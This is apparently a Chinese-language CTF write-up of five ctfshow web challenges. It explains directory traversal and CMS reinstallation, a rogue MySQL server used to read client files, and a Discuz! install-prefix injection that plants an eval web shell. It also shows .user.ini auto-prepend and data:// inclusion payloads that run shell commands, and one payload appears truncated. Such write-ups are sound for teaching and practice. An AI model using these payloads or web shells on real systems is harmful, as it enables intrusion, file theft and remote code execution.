喜欢这次baby赛,适合我这种萌萌^^。
0x00 baby_captcha
[无脑] 这里是超链接 指向弱口令字典。数字验证码多刷新几下找个勉强可以听懂的,然后用BP爆破。
0x01 ctfshowcms
首先我一键审计了一下:
从源码可以看到index.php的内容:
<?php define("ROOT_PATH",__DIR__); error_reporting(0); $want = addslashes($_GET['feng']); $want = $want==""?"index":$want; include('files/'.$want.".php");
$want
未对输入的内容做严格过滤,可以使用“../”进行目录穿越。
继续来看一哈install/index.php,完整源码如下:
<?php header('Content-Type:text/html;charset=utf-8'); if(file_exists("installLock.txt")){ echo "你已经安装了ctfshowcms,请勿重复安装。"; exit; } echo "欢迎安装ctfshowcms~"."<br>"; $user=$_POST['user']; $password=md5($_POST['password']); $dbhost=$_POST['dbhost']; $dbuser=$_POST['dbuser']; $dbpwd=$_POST['dbpwd']; $dbname=$_POST['dbname']; if($user==""){ echo "CMS管理员用户名不能为空!"; exit(); } if($password==""){ echo "CMS管理员密码不能为空!"; exit(); } if($dbhost==""){ echo "数据库地址不能为空!"; exit(); } if($dbuser==""){ echo "数据库用户名不能为空!"; exit(); } if($dbpwd==""){ echo "数据库密码不能为空!"; exit(); } if($dbname==""){ echo "数据库名不能为空!"; exit(); } // 连接数据库 $db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败"); // 选择使用哪个数据库 $a = mysql_select_db ( $dbname, $db ); // 数据库编码方式 $b = mysql_query ( 'SET NAMES ' . 'utf-8', $db ); if(file_exists("ctfshow.sql")){ echo "正在写入数据库!"; }else{ die("sql文件不存在"); } $content = "<?php \$DB_HOST='".$dbhost."'; \$DB_USER='".$dbuser."'; \$DB_PWD='".$dbpwd."'; \$DB_NAME='".$dbname."'; ?> "; file_put_contents(ROOT_PATH."/data/settings.php",$content); echo "数据库设置写入成功!~"."<br>"; $of = fopen(ROOT_PATH.'/install/installLock.txt','w'); if($of){ fwrite($of,"ctfshowcms"); } echo "安装成功!";
开头对安装锁文件进行了检测,但只是检查了当前目录是否有installLock.txt:
if(file_exists("installLock.txt")){ echo "你已经安装了ctfshowcms,请勿重复安装。"; exit; }
结合主页的目录穿越漏洞,可导致系统被二次安装。
在install/index.php中还存在可控的写入处:
$content = "<?php \$DB_HOST='".$dbhost."'; \$DB_USER='".$dbuser."'; \$DB_PWD='".$dbpwd."'; \$DB_NAME='".$dbname."'; ?> "; file_put_contents(ROOT_PATH."/data/settings.php",$content); echo "数据库设置写入成功!~"."<br>";
也未对输入的地方进行过滤,感觉可构造一个非预期逃逸出来,就有点绕就是了。这里有些变量,比如$user
和$password
都不影响厚,我就随便填了。但是有个坑如果按照默认的settings.php中的数据库登录口令去填会回显数据库连接失败,要换成root/root,结果,呜呜,还是有坑。
这里是绕不过去了,查阅资料得知mysql存在服务端恶意读取客户端任意文件漏洞。因为数据库链接地址、用户名、密码均可控,所以可以利用这个漏洞读取想读取的文件。
在VPS上需要安装mysql:
sudo apt-get install mysql-server
sudo apt-get install mysql-client
sudo apt-get install libmysqlclient-dev
查看当前数据库的登录口令:
sudo cat /etc/mysql/debian.cnf
脚本地址:https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改一下结尾行,读取flag:
if __name__ == '__main__': for name, content in rouge_mysql_sever_read_file(fileName=["/flag", "/etc/hosts"], port=3307,showInfo=True).items(): print(name + ":\n" + content.decode())
运行该脚本,然后在题目中填入VPS的数据库信息,成功读取到了flag。
0x02 应该不难
开局Discuz! X3.5的安装向导,上网可以查到Discuz! X3.5的漏洞资料。
安装时修改前缀为x');phpinfo();@eval($_POST[shaw]);('
安装完毕后,访问config/config_ucenter.php,成功写入shell:
0x03 baby_php
<?php error_reporting(0); class fileUtil{ private $name; private $content; public function __construct($name,$content=''){ $this->name = $name; $this->content = $content; ini_set('open_basedir', '/var/www/html'); } public function file_upload(){ if($this->waf($this->name) && $this->waf($this->content)){ return file_put_contents($this->name, $this->content); }else{ return 0; } } private function waf($input){ return !preg_match('/php/i', $input); } public function file_download(){ if(file_exists($this->name)){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.$this->name.'"'); header('Content-Transfer-Encoding: binary'); echo file_get_contents($this->name); }else{ return False; } } public function __destruct(){ } } $action = $_GET['a']?$_GET['a']:highlight_file(__FILE__); if($action==='upload'){ die('Permission denied'); } switch ($action) { case 'upload': $name = $_POST['name']; $content = $_POST['content']; $ft = new fileUtil($name,$content); if($ft->file_upload()){ echo $name.' upload success!'; } break; case 'download': $name = $_POST['name']; $ft = new fileUtil($name,$content); if($ft->file_download()===False){ echo $name.' download failed'; } break; default: echo 'baby come on'; break; }
如果绕过$_GET['a']
的限制,使其值等于upload的话,即可上传文件,但文件名和文件内容不能存在”php“这三个字符。输入任何字符是绕过不了$_GET['a']
的限制的,在本地做个测试:
<?php $action = $_GET['a']?$_GET['a']:highlight_file(__FILE__); if($action==='upload'){ die('Permission denied'); } switch ($action) { case 'upload': echo 'upload success!'; break; case 'download': echo ' download failed'; break; default: echo 'baby come on'; break; } ?>
输出的是upload success!
,因为switch的工作原理是将表达式的值与结构中每个 case 的值进行比较。如果存在匹配,则执行与 case 关联的代码。var_dump(highlight_file(FILE));
的结果为真(True),’upload’这个字符串和True比较时结果为真,所以不需要输入任何内容就可以到达想要的地方^^。
因为不允许输入php,可以使用.user.ini绕过。首先上传一个test.gif。
name=test.gif&content=`ls /
`;?>
然后传入.user.ini,内容为auto_prepend_file=test.gif
name=.user.ini&content=auto_prepend_file=test.gif
可以看到flag文件的文件名为flag_baby_here_you_are,同操作查看即可。
0x04 完美的缺点
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-05-31 21:42:40 # @Last Modified by: h1xa # @Last Modified time: 2021-06-01 00:08:12 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); error_reporting(0); ini_set('open_basedir', '/var/www/html/'); $file_name = substr($_GET['file_name'], 0,16); $file_content=substr($_GET['file_content'], 0,32); file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content); if(file_get_contents('php://input')==='ctfshow'){ include($file_name); }
得到flag的关键:POST一个ctfshow,就可以文件包含了:
if(file_get_contents('php://input')==='ctfshow'){ include($file_name); }
对$file_name
没有内容限制,只有长度限制,可以利用data伪协议达到命令执行的效果。
file_name=data:,<?=`ls`;?>
得到flag文件的文件名为flag.php。因为长度限制在16,所以可以用字数最少的nl去替代,再用通配符查看当前目录下的所有文件。
file_name=data:,<?=`nl+*
`;